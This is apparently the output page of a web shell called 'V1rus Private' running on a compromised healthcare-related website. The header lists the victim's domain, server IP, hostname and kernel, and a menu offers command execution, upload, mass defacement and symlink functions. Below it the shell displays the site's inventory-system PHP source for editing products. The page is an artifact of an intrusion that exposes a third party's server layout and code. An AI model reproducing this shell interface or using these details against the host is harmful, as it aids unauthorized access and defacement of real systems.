V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home9
/
aerosoft
/
www
/
InventorySystem
/
Viewing: edit_product.php
<?php require_once('includes/load.php'); // Check user permission level page_require_level(2); // Get product id from URL $product_id = (int)$_GET['id']; $product = find_by_id('products', $product_id); if(!$product){ $session->msg("d","Missing product id."); redirect('product.php'); } // Update product on form submit if(isset($_POST['update_product'])){ $req_fields = array('product-title','product-categorie','product-quantity','buying-price','sale-price','pack-size'); validate_fields($req_fields); if(empty($errors)){ $p_name = remove_junk($db->escape($_POST['product-title'])); $p_cat = (int)$db->escape($_POST['product-categorie']); $p_qty = remove_junk($db->escape($_POST['product-quantity'])); $p_buy = remove_junk($db->escape($_POST['buying-price'])); $p_sale = remove_junk($db->escape($_POST['sale-price'])); $p_pack = remove_junk($db->escape($_POST['pack-size'])); $p_media_id = (int)$db->escape($_POST['product-photo']); $is_transferred = isset($_POST['is_transferred']) ? 1 : 0; $date = make_date(); $query = "UPDATE products SET"; $query .= " name='{$p_name}', quantity='{$p_qty}', buy_price='{$p_buy}', sale_price='{$p_sale}',"; $query .= " pack_size='{$p_pack}', categorie_id='{$p_cat}', media_id='{$p_media_id}',"; $query .= " is_transferred='{$is_transferred}', date='{$date}'"; $query .= " WHERE id='{$product_id}'"; $result = $db->query($query); if($result && $db->affected_rows() === 1){ $session->msg('s',"Product updated successfully."); redirect('product.php', false); } else { $session->msg('d',' Sorry failed to update!'); redirect('edit_product.php?id='.$product_id, false); } } else { $session->msg("d", $errors); redirect('edit_product.php?id='.$product_id,false); } } ?> <?php include_once('layouts/header.php'); ?> <div class="row"> <div class="col-md-12"> <?php echo display_msg($msg); ?> </div> </div> <div class="row"> <div class="col-md-12"> <div class="panel panel-default"> <div class="panel-heading"> <strong> <span class="glyphicon glyphicon-edit"></span> <span>Edit Product</span> </strong> </div> <div class="panel-body"> <form method="post" action="edit_product.php?id=<?php echo (int)$product['id']; ?>"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label>Product Title</label> <input type="text" class="form-control" name="product-title" value="<?php echo remove_junk($product['name']); ?>"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label>Product Category</label> <select class="form-control" name="product-categorie"> <option value="">Select Category</option> <?php $all_categories = find_all('categories'); foreach ($all_categories as $cat): $selected = ($product['categorie_id'] == $cat['id']) ? 'selected' : ''; echo "<option value='{$cat['id']}' {$selected}>{$cat['name']}</option>"; endforeach; ?> </select> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Quantity</label> <input type="text" class="form-control" name="product-quantity" value="<?php echo remove_junk($product['quantity']); ?>"> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Buying Price (₹)</label> <input type="text" class="form-control" name="buying-price" value="<?php echo remove_junk($product['buy_price']); ?>"> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Selling Price (₹)</label> <input type="text" class="form-control" name="sale-price" value="<?php echo remove_junk($product['sale_price']); ?>"> </div> </div> <div class="col-md-3"> <div class="form-group"> <label>Pack Size</label> <input type="text" class="form-control" name="pack-size" value="<?php echo remove_junk($product['pack_size']); ?>"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label>Product Photo</label> <select class="form-control" name="product-photo"> <option value="">No Image</option> <?php $all_photos = find_all('media'); foreach ($all_photos as $photo): $selected = ($product['media_id'] == $photo['id']) ? 'selected' : ''; echo "<option value='{$photo['id']}' {$selected}>{$photo['file_name']}</option>"; endforeach; ?> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label>Stock Type</label> <div class="checkbox"> <label> <input type="checkbox" name="is_transferred" value="1" <?php echo ($product['is_transferred'] == 1) ? 'checked' : ''; ?>> <strong>TRANSFERRED STOCK IN</strong> </label> <small class="help-block">Check if this is transferred stock from another store</small> </div> </div> </div> </div> <button type="submit" name="update_product" class="btn btn-primary">Update Product</button> <a href="product.php" class="btn btn-default">Cancel</a> </form> </div> </div> </div> </div> <?php include_once('layouts/footer.php'); ?>
Coded With 💗 by
HanzOFC